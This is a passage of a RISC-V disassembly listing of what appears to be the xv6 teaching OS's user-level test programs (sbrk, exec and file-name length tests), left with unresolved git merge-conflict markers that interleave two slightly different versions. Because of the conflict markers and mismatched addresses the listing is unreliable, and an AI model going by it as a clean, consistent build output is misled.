25e4: 00003097 auipc ra,0x3
25e8: f10080e7 jalr -240(ra) # 54f4 <close>
a = sbrk(PGSIZE);
25ec: 6505 lui a0,0x1
25ee: 00003097 auipc ra,0x3
25f2: f66080e7 jalr -154(ra) # 5554 <sbrk>
if (pipe((int *)a) != 0) {
25f6: 00003097 auipc ra,0x3
25fa: ee6080e7 jalr -282(ra) # 54dc <pipe>
25fe: e521 bnez a0,2646 <sbrkarg+0xbc>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2600: 70a2 ld ra,40(sp)
2602: 7402 ld s0,32(sp)
2604: 64e2 ld s1,24(sp)
2606: 6942 ld s2,16(sp)
2608: 69a2 ld s3,8(sp)
260a: 6145 addi sp,sp,48
260c: 8082 ret
<<<<<<< HEAD
260e: 85ce mv a1,s3
2610: 00004517 auipc a0,0x4
2614: 55850513 addi a0,a0,1368 # 6b68 <l_free+0x1100>
2618: 00003097 auipc ra,0x3
261c: 22e080e7 jalr 558(ra) # 5846 <printf>
2620: 4505 li a0,1
2622: 00003097 auipc ra,0x3
2626: eaa080e7 jalr -342(ra) # 54cc <exit>
262a: 85ce mv a1,s3
262c: 00004517 auipc a0,0x4
2630: 55450513 addi a0,a0,1364 # 6b80 <l_free+0x1118>
2634: 00003097 auipc ra,0x3
2638: 212080e7 jalr 530(ra) # 5846 <printf>
263c: 4505 li a0,1
263e: 00003097 auipc ra,0x3
2642: e8e080e7 jalr -370(ra) # 54cc <exit>
2646: 85ce mv a1,s3
2648: 00004517 auipc a0,0x4
264c: ff050513 addi a0,a0,-16 # 6638 <l_free+0xbd0>
2650: 00003097 auipc ra,0x3
2654: 1f6080e7 jalr 502(ra) # 5846 <printf>
=======
printf("%s: open sbrk failed\n", s);
260e: 85ce mv a1,s3
2610: 00004517 auipc a0,0x4
2614: 55850513 addi a0,a0,1368 # 6b68 <l_free+0x1102>
2618: 00003097 auipc ra,0x3
261c: 22c080e7 jalr 556(ra) # 5844 <printf>
exit(1);
2620: 4505 li a0,1
2622: 00003097 auipc ra,0x3
2626: eaa080e7 jalr -342(ra) # 54cc <exit>
printf("%s: write sbrk failed\n", s);
262a: 85ce mv a1,s3
262c: 00004517 auipc a0,0x4
2630: 55450513 addi a0,a0,1364 # 6b80 <l_free+0x111a>
2634: 00003097 auipc ra,0x3
2638: 210080e7 jalr 528(ra) # 5844 <printf>
exit(1);
263c: 4505 li a0,1
263e: 00003097 auipc ra,0x3
2642: e8e080e7 jalr -370(ra) # 54cc <exit>
printf("%s: pipe() failed\n", s);
2646: 85ce mv a1,s3
2648: 00004517 auipc a0,0x4
264c: ff050513 addi a0,a0,-16 # 6638 <l_free+0xbd2>
2650: 00003097 auipc ra,0x3
2654: 1f4080e7 jalr 500(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2658: 4505 li a0,1
265a: 00003097 auipc ra,0x3
265e: e72080e7 jalr -398(ra) # 54cc <exit>
0000000000002662 <argptest>:
<<<<<<< HEAD
=======
void argptest(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2662: 1101 addi sp,sp,-32
2664: ec06 sd ra,24(sp)
2666: e822 sd s0,16(sp)
2668: e426 sd s1,8(sp)
266a: e04a sd s2,0(sp)
266c: 1000 addi s0,sp,32
266e: 892a mv s2,a0
<<<<<<< HEAD
2670: 4581 li a1,0
2672: 00004517 auipc a0,0x4
2676: 52650513 addi a0,a0,1318 # 6b98 <l_free+0x1130>
267a: 00003097 auipc ra,0x3
267e: e92080e7 jalr -366(ra) # 550c <open>
2682: 02054b63 bltz a0,26b8 <argptest+0x56>
2686: 84aa mv s1,a0
=======
fd = open("init", O_RDONLY);
2670: 4581 li a1,0
2672: 00004517 auipc a0,0x4
2676: 52650513 addi a0,a0,1318 # 6b98 <l_free+0x1132>
267a: 00003097 auipc ra,0x3
267e: e92080e7 jalr -366(ra) # 550c <open>
if (fd < 0) {
2682: 02054b63 bltz a0,26b8 <argptest+0x56>
2686: 84aa mv s1,a0
read(fd, sbrk(0) - 1, -1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2688: 4501 li a0,0
268a: 00003097 auipc ra,0x3
268e: eca080e7 jalr -310(ra) # 5554 <sbrk>
2692: 567d li a2,-1
2694: fff50593 addi a1,a0,-1
2698: 8526 mv a0,s1
269a: 00003097 auipc ra,0x3
269e: e4a080e7 jalr -438(ra) # 54e4 <read>
<<<<<<< HEAD
26a2: 8526 mv a0,s1
26a4: 00003097 auipc ra,0x3
26a8: e50080e7 jalr -432(ra) # 54f4 <close>
=======
close(fd);
26a2: 8526 mv a0,s1
26a4: 00003097 auipc ra,0x3
26a8: e50080e7 jalr -432(ra) # 54f4 <close>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
26ac: 60e2 ld ra,24(sp)
26ae: 6442 ld s0,16(sp)
26b0: 64a2 ld s1,8(sp)
26b2: 6902 ld s2,0(sp)
26b4: 6105 addi sp,sp,32
26b6: 8082 ret
<<<<<<< HEAD
26b8: 85ca mv a1,s2
26ba: 00004517 auipc a0,0x4
26be: e8e50513 addi a0,a0,-370 # 6548 <l_free+0xae0>
26c2: 00003097 auipc ra,0x3
26c6: 184080e7 jalr 388(ra) # 5846 <printf>
=======
printf("%s: open failed\n", s);
26b8: 85ca mv a1,s2
26ba: 00004517 auipc a0,0x4
26be: e8e50513 addi a0,a0,-370 # 6548 <l_free+0xae2>
26c2: 00003097 auipc ra,0x3
26c6: 182080e7 jalr 386(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
26ca: 4505 li a0,1
26cc: 00003097 auipc ra,0x3
26d0: e00080e7 jalr -512(ra) # 54cc <exit>
00000000000026d4 <sbrkbugs>:
<<<<<<< HEAD
=======
void sbrkbugs(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
26d4: 1141 addi sp,sp,-16
26d6: e406 sd ra,8(sp)
26d8: e022 sd s0,0(sp)
26da: 0800 addi s0,sp,16
<<<<<<< HEAD
26dc: 00003097 auipc ra,0x3
26e0: de8080e7 jalr -536(ra) # 54c4 <fork>
26e4: 02054263 bltz a0,2708 <sbrkbugs+0x34>
26e8: ed0d bnez a0,2722 <sbrkbugs+0x4e>
26ea: 00003097 auipc ra,0x3
26ee: e6a080e7 jalr -406(ra) # 5554 <sbrk>
26f2: 40a0053b negw a0,a0
26f6: 00003097 auipc ra,0x3
26fa: e5e080e7 jalr -418(ra) # 5554 <sbrk>
26fe: 4501 li a0,0
2700: 00003097 auipc ra,0x3
2704: dcc080e7 jalr -564(ra) # 54cc <exit>
2708: 00004517 auipc a0,0x4
270c: 21850513 addi a0,a0,536 # 6920 <l_free+0xeb8>
2710: 00003097 auipc ra,0x3
2714: 136080e7 jalr 310(ra) # 5846 <printf>
2718: 4505 li a0,1
271a: 00003097 auipc ra,0x3
271e: db2080e7 jalr -590(ra) # 54cc <exit>
2722: 4501 li a0,0
2724: 00003097 auipc ra,0x3
2728: db0080e7 jalr -592(ra) # 54d4 <wait>
272c: 00003097 auipc ra,0x3
2730: d98080e7 jalr -616(ra) # 54c4 <fork>
2734: 02054563 bltz a0,275e <sbrkbugs+0x8a>
2738: e121 bnez a0,2778 <sbrkbugs+0xa4>
273a: 00003097 auipc ra,0x3
273e: e1a080e7 jalr -486(ra) # 5554 <sbrk>
=======
int pid = fork();
26dc: 00003097 auipc ra,0x3
26e0: de8080e7 jalr -536(ra) # 54c4 <fork>
if (pid < 0) {
26e4: 02054263 bltz a0,2708 <sbrkbugs+0x34>
if (pid == 0) {
26e8: ed0d bnez a0,2722 <sbrkbugs+0x4e>
int sz = (uint64)sbrk(0);
26ea: 00003097 auipc ra,0x3
26ee: e6a080e7 jalr -406(ra) # 5554 <sbrk>
sbrk(-sz);
26f2: 40a0053b negw a0,a0
26f6: 00003097 auipc ra,0x3
26fa: e5e080e7 jalr -418(ra) # 5554 <sbrk>
exit(0);
26fe: 4501 li a0,0
2700: 00003097 auipc ra,0x3
2704: dcc080e7 jalr -564(ra) # 54cc <exit>
printf("fork failed\n");
2708: 00004517 auipc a0,0x4
270c: 21850513 addi a0,a0,536 # 6920 <l_free+0xeba>
2710: 00003097 auipc ra,0x3
2714: 134080e7 jalr 308(ra) # 5844 <printf>
exit(1);
2718: 4505 li a0,1
271a: 00003097 auipc ra,0x3
271e: db2080e7 jalr -590(ra) # 54cc <exit>
wait(0);
2722: 4501 li a0,0
2724: 00003097 auipc ra,0x3
2728: db0080e7 jalr -592(ra) # 54d4 <wait>
pid = fork();
272c: 00003097 auipc ra,0x3
2730: d98080e7 jalr -616(ra) # 54c4 <fork>
if (pid < 0) {
2734: 02054563 bltz a0,275e <sbrkbugs+0x8a>
if (pid == 0) {
2738: e121 bnez a0,2778 <sbrkbugs+0xa4>
int sz = (uint64)sbrk(0);
273a: 00003097 auipc ra,0x3
273e: e1a080e7 jalr -486(ra) # 5554 <sbrk>
sbrk(-(sz - 3500));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2742: 6785 lui a5,0x1
2744: dac7879b addiw a5,a5,-596
2748: 40a7853b subw a0,a5,a0
274c: 00003097 auipc ra,0x3
2750: e08080e7 jalr -504(ra) # 5554 <sbrk>
<<<<<<< HEAD
2754: 4501 li a0,0
2756: 00003097 auipc ra,0x3
275a: d76080e7 jalr -650(ra) # 54cc <exit>
275e: 00004517 auipc a0,0x4
2762: 1c250513 addi a0,a0,450 # 6920 <l_free+0xeb8>
2766: 00003097 auipc ra,0x3
276a: 0e0080e7 jalr 224(ra) # 5846 <printf>
276e: 4505 li a0,1
2770: 00003097 auipc ra,0x3
2774: d5c080e7 jalr -676(ra) # 54cc <exit>
2778: 4501 li a0,0
277a: 00003097 auipc ra,0x3
277e: d5a080e7 jalr -678(ra) # 54d4 <wait>
2782: 00003097 auipc ra,0x3
2786: d42080e7 jalr -702(ra) # 54c4 <fork>
278a: 02054a63 bltz a0,27be <sbrkbugs+0xea>
278e: e529 bnez a0,27d8 <sbrkbugs+0x104>
=======
exit(0);
2754: 4501 li a0,0
2756: 00003097 auipc ra,0x3
275a: d76080e7 jalr -650(ra) # 54cc <exit>
printf("fork failed\n");
275e: 00004517 auipc a0,0x4
2762: 1c250513 addi a0,a0,450 # 6920 <l_free+0xeba>
2766: 00003097 auipc ra,0x3
276a: 0de080e7 jalr 222(ra) # 5844 <printf>
exit(1);
276e: 4505 li a0,1
2770: 00003097 auipc ra,0x3
2774: d5c080e7 jalr -676(ra) # 54cc <exit>
wait(0);
2778: 4501 li a0,0
277a: 00003097 auipc ra,0x3
277e: d5a080e7 jalr -678(ra) # 54d4 <wait>
pid = fork();
2782: 00003097 auipc ra,0x3
2786: d42080e7 jalr -702(ra) # 54c4 <fork>
if (pid < 0) {
278a: 02054a63 bltz a0,27be <sbrkbugs+0xea>
if (pid == 0) {
278e: e529 bnez a0,27d8 <sbrkbugs+0x104>
sbrk((10 * 4096 + 2048) - (uint64)sbrk(0));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2790: 00003097 auipc ra,0x3
2794: dc4080e7 jalr -572(ra) # 5554 <sbrk>
2798: 67ad lui a5,0xb
279a: 8007879b addiw a5,a5,-2048
279e: 40a7853b subw a0,a5,a0
27a2: 00003097 auipc ra,0x3
27a6: db2080e7 jalr -590(ra) # 5554 <sbrk>
<<<<<<< HEAD
27aa: 5559 li a0,-10
27ac: 00003097 auipc ra,0x3
27b0: da8080e7 jalr -600(ra) # 5554 <sbrk>
27b4: 4501 li a0,0
27b6: 00003097 auipc ra,0x3
27ba: d16080e7 jalr -746(ra) # 54cc <exit>
27be: 00004517 auipc a0,0x4
27c2: 16250513 addi a0,a0,354 # 6920 <l_free+0xeb8>
27c6: 00003097 auipc ra,0x3
27ca: 080080e7 jalr 128(ra) # 5846 <printf>
27ce: 4505 li a0,1
27d0: 00003097 auipc ra,0x3
27d4: cfc080e7 jalr -772(ra) # 54cc <exit>
27d8: 4501 li a0,0
27da: 00003097 auipc ra,0x3
27de: cfa080e7 jalr -774(ra) # 54d4 <wait>
=======
sbrk(-10);
27aa: 5559 li a0,-10
27ac: 00003097 auipc ra,0x3
27b0: da8080e7 jalr -600(ra) # 5554 <sbrk>
exit(0);
27b4: 4501 li a0,0
27b6: 00003097 auipc ra,0x3
27ba: d16080e7 jalr -746(ra) # 54cc <exit>
printf("fork failed\n");
27be: 00004517 auipc a0,0x4
27c2: 16250513 addi a0,a0,354 # 6920 <l_free+0xeba>
27c6: 00003097 auipc ra,0x3
27ca: 07e080e7 jalr 126(ra) # 5844 <printf>
exit(1);
27ce: 4505 li a0,1
27d0: 00003097 auipc ra,0x3
27d4: cfc080e7 jalr -772(ra) # 54cc <exit>
wait(0);
27d8: 4501 li a0,0
27da: 00003097 auipc ra,0x3
27de: cfa080e7 jalr -774(ra) # 54d4 <wait>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
27e2: 4501 li a0,0
27e4: 00003097 auipc ra,0x3
27e8: ce8080e7 jalr -792(ra) # 54cc <exit>
00000000000027ec <execout>:
<<<<<<< HEAD
=======
}
// test the exec() code that cleans up if it runs out
// of memory. it's really a test that such a condition
// doesn't cause a panic.
void execout(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
27ec: 715d addi sp,sp,-80
27ee: e486 sd ra,72(sp)
27f0: e0a2 sd s0,64(sp)
27f2: fc26 sd s1,56(sp)
27f4: f84a sd s2,48(sp)
27f6: f44e sd s3,40(sp)
27f8: f052 sd s4,32(sp)
27fa: 0880 addi s0,sp,80
<<<<<<< HEAD
27fc: 4901 li s2,0
27fe: 49bd li s3,15
2800: 00003097 auipc ra,0x3
2804: cc4080e7 jalr -828(ra) # 54c4 <fork>
2808: 84aa mv s1,a0
280a: 02054063 bltz a0,282a <execout+0x3e>
280e: c91d beqz a0,2844 <execout+0x58>
2810: 4501 li a0,0
2812: 00003097 auipc ra,0x3
2816: cc2080e7 jalr -830(ra) # 54d4 <wait>
281a: 2905 addiw s2,s2,1
281c: ff3912e3 bne s2,s3,2800 <execout+0x14>
2820: 4501 li a0,0
2822: 00003097 auipc ra,0x3
2826: caa080e7 jalr -854(ra) # 54cc <exit>
282a: 00004517 auipc a0,0x4
282e: 0f650513 addi a0,a0,246 # 6920 <l_free+0xeb8>
2832: 00003097 auipc ra,0x3
2836: 014080e7 jalr 20(ra) # 5846 <printf>
283a: 4505 li a0,1
283c: 00003097 auipc ra,0x3
2840: c90080e7 jalr -880(ra) # 54cc <exit>
2844: 59fd li s3,-1
2846: 4a05 li s4,1
2848: 6505 lui a0,0x1
284a: 00003097 auipc ra,0x3
284e: d0a080e7 jalr -758(ra) # 5554 <sbrk>
2852: 01350763 beq a0,s3,2860 <execout+0x74>
2856: 6785 lui a5,0x1
2858: 953e add a0,a0,a5
285a: ff450fa3 sb s4,-1(a0) # fff <bigdir+0x133>
285e: b7ed j 2848 <execout+0x5c>
2860: 01205a63 blez s2,2874 <execout+0x88>
2864: 757d lui a0,0xfffff
2866: 00003097 auipc ra,0x3
286a: cee080e7 jalr -786(ra) # 5554 <sbrk>
286e: 2485 addiw s1,s1,1
2870: ff249ae3 bne s1,s2,2864 <execout+0x78>
2874: 4505 li a0,1
2876: 00003097 auipc ra,0x3
287a: c7e080e7 jalr -898(ra) # 54f4 <close>
287e: 00003517 auipc a0,0x3
2882: 53a50513 addi a0,a0,1338 # 5db8 <l_free+0x350>
2886: faa43c23 sd a0,-72(s0)
288a: 00003797 auipc a5,0x3
288e: 59e78793 addi a5,a5,1438 # 5e28 <l_free+0x3c0>
2892: fcf43023 sd a5,-64(s0)
2896: fc043423 sd zero,-56(s0)
289a: fb840593 addi a1,s0,-72
289e: 00003097 auipc ra,0x3
28a2: c66080e7 jalr -922(ra) # 5504 <exec>
=======
for (int avail = 0; avail < 15; avail++) {
27fc: 4901 li s2,0
27fe: 49bd li s3,15
int pid = fork();
2800: 00003097 auipc ra,0x3
2804: cc4080e7 jalr -828(ra) # 54c4 <fork>
2808: 84aa mv s1,a0
if (pid < 0) {
280a: 02054063 bltz a0,282a <execout+0x3e>
printf("fork failed\n");
exit(1);
} else if (pid == 0) {
280e: c91d beqz a0,2844 <execout+0x58>
close(1);
char *args[] = {"echo", "x", 0};
exec("echo", args);
exit(0);
} else {
wait((int *)0);
2810: 4501 li a0,0
2812: 00003097 auipc ra,0x3
2816: cc2080e7 jalr -830(ra) # 54d4 <wait>
for (int avail = 0; avail < 15; avail++) {
281a: 2905 addiw s2,s2,1
281c: ff3912e3 bne s2,s3,2800 <execout+0x14>
}
}
exit(0);
2820: 4501 li a0,0
2822: 00003097 auipc ra,0x3
2826: caa080e7 jalr -854(ra) # 54cc <exit>
printf("fork failed\n");
282a: 00004517 auipc a0,0x4
282e: 0f650513 addi a0,a0,246 # 6920 <l_free+0xeba>
2832: 00003097 auipc ra,0x3
2836: 012080e7 jalr 18(ra) # 5844 <printf>
exit(1);
283a: 4505 li a0,1
283c: 00003097 auipc ra,0x3
2840: c90080e7 jalr -880(ra) # 54cc <exit>
if (a == 0xffffffffffffffffLL)
2844: 59fd li s3,-1
*(char *)(a + 4096 - 1) = 1;
2846: 4a05 li s4,1
uint64 a = (uint64)sbrk(4096);
2848: 6505 lui a0,0x1
284a: 00003097 auipc ra,0x3
284e: d0a080e7 jalr -758(ra) # 5554 <sbrk>
if (a == 0xffffffffffffffffLL)
2852: 01350763 beq a0,s3,2860 <execout+0x74>
*(char *)(a + 4096 - 1) = 1;
2856: 6785 lui a5,0x1
2858: 953e add a0,a0,a5
285a: ff450fa3 sb s4,-1(a0) # fff <bigdir+0x133>
while (1) {
285e: b7ed j 2848 <execout+0x5c>
for (int i = 0; i < avail; i++)
2860: 01205a63 blez s2,2874 <execout+0x88>
sbrk(-4096);
2864: 757d lui a0,0xfffff
2866: 00003097 auipc ra,0x3
286a: cee080e7 jalr -786(ra) # 5554 <sbrk>
for (int i = 0; i < avail; i++)
286e: 2485 addiw s1,s1,1
2870: ff249ae3 bne s1,s2,2864 <execout+0x78>
close(1);
2874: 4505 li a0,1
2876: 00003097 auipc ra,0x3
287a: c7e080e7 jalr -898(ra) # 54f4 <close>
char *args[] = {"echo", "x", 0};
287e: 00003517 auipc a0,0x3
2882: 53a50513 addi a0,a0,1338 # 5db8 <l_free+0x352>
2886: faa43c23 sd a0,-72(s0)
288a: 00003797 auipc a5,0x3
288e: 59e78793 addi a5,a5,1438 # 5e28 <l_free+0x3c2>
2892: fcf43023 sd a5,-64(s0)
2896: fc043423 sd zero,-56(s0)
exec("echo", args);
289a: fb840593 addi a1,s0,-72
289e: 00003097 auipc ra,0x3
28a2: c66080e7 jalr -922(ra) # 5504 <exec>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
28a6: 4501 li a0,0
28a8: 00003097 auipc ra,0x3
28ac: c24080e7 jalr -988(ra) # 54cc <exit>
00000000000028b0 <fourteen>:
<<<<<<< HEAD
=======
void fourteen(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
28b0: 1101 addi sp,sp,-32
28b2: ec06 sd ra,24(sp)
28b4: e822 sd s0,16(sp)
28b6: e426 sd s1,8(sp)
28b8: 1000 addi s0,sp,32
28ba: 84aa mv s1,a0
<<<<<<< HEAD
28bc: 00004517 auipc a0,0x4
28c0: 4b450513 addi a0,a0,1204 # 6d70 <l_free+0x1308>
28c4: 00003097 auipc ra,0x3
28c8: c70080e7 jalr -912(ra) # 5534 <mkdir>
28cc: e165 bnez a0,29ac <fourteen+0xfc>
28ce: 00004517 auipc a0,0x4
28d2: 2fa50513 addi a0,a0,762 # 6bc8 <l_free+0x1160>
28d6: 00003097 auipc ra,0x3
28da: c5e080e7 jalr -930(ra) # 5534 <mkdir>
28de: e56d bnez a0,29c8 <fourteen+0x118>
28e0: 20000593 li a1,512
28e4: 00004517 auipc a0,0x4
28e8: 33c50513 addi a0,a0,828 # 6c20 <l_free+0x11b8>
28ec: 00003097 auipc ra,0x3
28f0: c20080e7 jalr -992(ra) # 550c <open>
28f4: 0e054863 bltz a0,29e4 <fourteen+0x134>
28f8: 00003097 auipc ra,0x3
28fc: bfc080e7 jalr -1028(ra) # 54f4 <close>
2900: 4581 li a1,0
2902: 00004517 auipc a0,0x4
2906: 39650513 addi a0,a0,918 # 6c98 <l_free+0x1230>
290a: 00003097 auipc ra,0x3
290e: c02080e7 jalr -1022(ra) # 550c <open>
2912: 0e054763 bltz a0,2a00 <fourteen+0x150>
2916: 00003097 auipc ra,0x3
291a: bde080e7 jalr -1058(ra) # 54f4 <close>
291e: 00004517 auipc a0,0x4
2922: 3ea50513 addi a0,a0,1002 # 6d08 <l_free+0x12a0>
2926: 00003097 auipc ra,0x3
292a: c0e080e7 jalr -1010(ra) # 5534 <mkdir>
292e: c57d beqz a0,2a1c <fourteen+0x16c>
2930: 00004517 auipc a0,0x4
2934: 43050513 addi a0,a0,1072 # 6d60 <l_free+0x12f8>
2938: 00003097 auipc ra,0x3
293c: bfc080e7 jalr -1028(ra) # 5534 <mkdir>
2940: cd65 beqz a0,2a38 <fourteen+0x188>
2942: 00004517 auipc a0,0x4
2946: 41e50513 addi a0,a0,1054 # 6d60 <l_free+0x12f8>
294a: 00003097 auipc ra,0x3
294e: bd2080e7 jalr -1070(ra) # 551c <unlink>
2952: 00004517 auipc a0,0x4
2956: 3b650513 addi a0,a0,950 # 6d08 <l_free+0x12a0>
295a: 00003097 auipc ra,0x3
295e: bc2080e7 jalr -1086(ra) # 551c <unlink>
2962: 00004517 auipc a0,0x4
2966: 33650513 addi a0,a0,822 # 6c98 <l_free+0x1230>
296a: 00003097 auipc ra,0x3
296e: bb2080e7 jalr -1102(ra) # 551c <unlink>
2972: 00004517 auipc a0,0x4
2976: 2ae50513 addi a0,a0,686 # 6c20 <l_free+0x11b8>
297a: 00003097 auipc ra,0x3
297e: ba2080e7 jalr -1118(ra) # 551c <unlink>
2982: 00004517 auipc a0,0x4
2986: 24650513 addi a0,a0,582 # 6bc8 <l_free+0x1160>
298a: 00003097 auipc ra,0x3
298e: b92080e7 jalr -1134(ra) # 551c <unlink>
2992: 00004517 auipc a0,0x4
2996: 3de50513 addi a0,a0,990 # 6d70 <l_free+0x1308>
299a: 00003097 auipc ra,0x3
299e: b82080e7 jalr -1150(ra) # 551c <unlink>
=======
if (mkdir("12345678901234") != 0) {
28bc: 00004517 auipc a0,0x4
28c0: 4b450513 addi a0,a0,1204 # 6d70 <l_free+0x130a>
28c4: 00003097 auipc ra,0x3
28c8: c70080e7 jalr -912(ra) # 5534 <mkdir>
28cc: e165 bnez a0,29ac <fourteen+0xfc>
if (mkdir("12345678901234/123456789012345") != 0) {
28ce: 00004517 auipc a0,0x4
28d2: 2fa50513 addi a0,a0,762 # 6bc8 <l_free+0x1162>
28d6: 00003097 auipc ra,0x3
28da: c5e080e7 jalr -930(ra) # 5534 <mkdir>
28de: e56d bnez a0,29c8 <fourteen+0x118>
fd = open("123456789012345/123456789012345/123456789012345", O_CREATE);
28e0: 20000593 li a1,512
28e4: 00004517 auipc a0,0x4
28e8: 33c50513 addi a0,a0,828 # 6c20 <l_free+0x11ba>
28ec: 00003097 auipc ra,0x3
28f0: c20080e7 jalr -992(ra) # 550c <open>
if (fd < 0) {
28f4: 0e054863 bltz a0,29e4 <fourteen+0x134>
close(fd);
28f8: 00003097 auipc ra,0x3
28fc: bfc080e7 jalr -1028(ra) # 54f4 <close>
fd = open("12345678901234/12345678901234/12345678901234", 0);
2900: 4581 li a1,0
2902: 00004517 auipc a0,0x4
2906: 39650513 addi a0,a0,918 # 6c98 <l_free+0x1232>
290a: 00003097 auipc ra,0x3
290e: c02080e7 jalr -1022(ra) # 550c <open>
if (fd < 0) {
2912: 0e054763 bltz a0,2a00 <fourteen+0x150>
close(fd);
2916: 00003097 auipc ra,0x3
291a: bde080e7 jalr -1058(ra) # 54f4 <close>
if (mkdir("12345678901234/12345678901234") == 0) {
291e: 00004517 auipc a0,0x4
2922: 3ea50513 addi a0,a0,1002 # 6d08 <l_free+0x12a2>
2926: 00003097 auipc ra,0x3
292a: c0e080e7 jalr -1010(ra) # 5534 <mkdir>
292e: c57d beqz a0,2a1c <fourteen+0x16c>
if (mkdir("123456789012345/12345678901234") == 0) {
2930: 00004517 auipc a0,0x4
2934: 43050513 addi a0,a0,1072 # 6d60 <l_free+0x12fa>
2938: 00003097 auipc ra,0x3
293c: bfc080e7 jalr -1028(ra) # 5534 <mkdir>
2940: cd65 beqz a0,2a38 <fourteen+0x188>
unlink("123456789012345/12345678901234");
2942: 00004517 auipc a0,0x4
2946: 41e50513 addi a0,a0,1054 # 6d60 <l_free+0x12fa>
294a: 00003097 auipc ra,0x3
294e: bd2080e7 jalr -1070(ra) # 551c <unlink>
unlink("12345678901234/12345678901234");
2952: 00004517 auipc a0,0x4
2956: 3b650513 addi a0,a0,950 # 6d08 <l_free+0x12a2>
295a: 00003097 auipc ra,0x3
295e: bc2080e7 jalr -1086(ra) # 551c <unlink>
unlink("12345678901234/12345678901234/12345678901234");
2962: 00004517 auipc a0,0x4
2966: 33650513 addi a0,a0,822 # 6c98 <l_free+0x1232>
296a: 00003097 auipc ra,0x3
296e: bb2080e7 jalr -1102(ra) # 551c <unlink>
unlink("123456789012345/123456789012345/123456789012345");
2972: 00004517 auipc a0,0x4
2976: 2ae50513 addi a0,a0,686 # 6c20 <l_free+0x11ba>
297a: 00003097 auipc ra,0x3
297e: ba2080e7 jalr -1118(ra) # 551c <unlink>
unlink("12345678901234/123456789012345");
2982: 00004517 auipc a0,0x4
2986: 24650513 addi a0,a0,582 # 6bc8 <l_free+0x1162>
298a: 00003097 auipc ra,0x3
298e: b92080e7 jalr -1134(ra) # 551c <unlink>
unlink("12345678901234");
2992: 00004517 auipc a0,0x4
2996: 3de50513 addi a0,a0,990 # 6d70 <l_free+0x130a>
299a: 00003097 auipc ra,0x3
299e: b82080e7 jalr -1150(ra) # 551c <unlink>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
29a2: 60e2 ld ra,24(sp)
29a4: 6442 ld s0,16(sp)
29a6: 64a2 ld s1,8(sp)
29a8: 6105 addi sp,sp,32
29aa: 8082 ret
<<<<<<< HEAD
29ac: 85a6 mv a1,s1
29ae: 00004517 auipc a0,0x4
29b2: 1f250513 addi a0,a0,498 # 6ba0 <l_free+0x1138>
29b6: 00003097 auipc ra,0x3
29ba: e90080e7 jalr -368(ra) # 5846 <printf>
29be: 4505 li a0,1
29c0: 00003097 auipc ra,0x3
29c4: b0c080e7 jalr -1268(ra) # 54cc <exit>
29c8: 85a6 mv a1,s1
29ca: 00004517 auipc a0,0x4
29ce: 21e50513 addi a0,a0,542 # 6be8 <l_free+0x1180>
29d2: 00003097 auipc ra,0x3
29d6: e74080e7 jalr -396(ra) # 5846 <printf>
29da: 4505 li a0,1
29dc: 00003097 auipc ra,0x3
29e0: af0080e7 jalr -1296(ra) # 54cc <exit>
29e4: 85a6 mv a1,s1
29e6: 00004517 auipc a0,0x4
29ea: 26a50513 addi a0,a0,618 # 6c50 <l_free+0x11e8>
29ee: 00003097 auipc ra,0x3
29f2: e58080e7 jalr -424(ra) # 5846 <printf>
29f6: 4505 li a0,1
29f8: 00003097 auipc ra,0x3
29fc: ad4080e7 jalr -1324(ra) # 54cc <exit>
2a00: 85a6 mv a1,s1
2a02: 00004517 auipc a0,0x4
2a06: 2c650513 addi a0,a0,710 # 6cc8 <l_free+0x1260>
2a0a: 00003097 auipc ra,0x3
2a0e: e3c080e7 jalr -452(ra) # 5846 <printf>
2a12: 4505 li a0,1
2a14: 00003097 auipc ra,0x3
2a18: ab8080e7 jalr -1352(ra) # 54cc <exit>
2a1c: 85a6 mv a1,s1
2a1e: 00004517 auipc a0,0x4
2a22: 30a50513 addi a0,a0,778 # 6d28 <l_free+0x12c0>
2a26: 00003097 auipc ra,0x3
2a2a: e20080e7 jalr -480(ra) # 5846 <printf>
2a2e: 4505 li a0,1
2a30: 00003097 auipc ra,0x3
2a34: a9c080e7 jalr -1380(ra) # 54cc <exit>
2a38: 85a6 mv a1,s1
2a3a: 00004517 auipc a0,0x4
2a3e: 34650513 addi a0,a0,838 # 6d80 <l_free+0x1318>
2a42: 00003097 auipc ra,0x3
2a46: e04080e7 jalr -508(ra) # 5846 <printf>
=======
printf("%s: mkdir 12345678901234 failed\n", s);
29ac: 85a6 mv a1,s1
29ae: 00004517 auipc a0,0x4
29b2: 1f250513 addi a0,a0,498 # 6ba0 <l_free+0x113a>
29b6: 00003097 auipc ra,0x3
29ba: e8e080e7 jalr -370(ra) # 5844 <printf>
exit(1);
29be: 4505 li a0,1
29c0: 00003097 auipc ra,0x3
29c4: b0c080e7 jalr -1268(ra) # 54cc <exit>
printf("%s: mkdir 12345678901234/123456789012345 failed\n", s);
29c8: 85a6 mv a1,s1
29ca: 00004517 auipc a0,0x4
29ce: 21e50513 addi a0,a0,542 # 6be8 <l_free+0x1182>
29d2: 00003097 auipc ra,0x3
29d6: e72080e7 jalr -398(ra) # 5844 <printf>
exit(1);
29da: 4505 li a0,1
29dc: 00003097 auipc ra,0x3
29e0: af0080e7 jalr -1296(ra) # 54cc <exit>
printf(
29e4: 85a6 mv a1,s1
29e6: 00004517 auipc a0,0x4
29ea: 26a50513 addi a0,a0,618 # 6c50 <l_free+0x11ea>
29ee: 00003097 auipc ra,0x3
29f2: e56080e7 jalr -426(ra) # 5844 <printf>
exit(1);
29f6: 4505 li a0,1
29f8: 00003097 auipc ra,0x3
29fc: ad4080e7 jalr -1324(ra) # 54cc <exit>
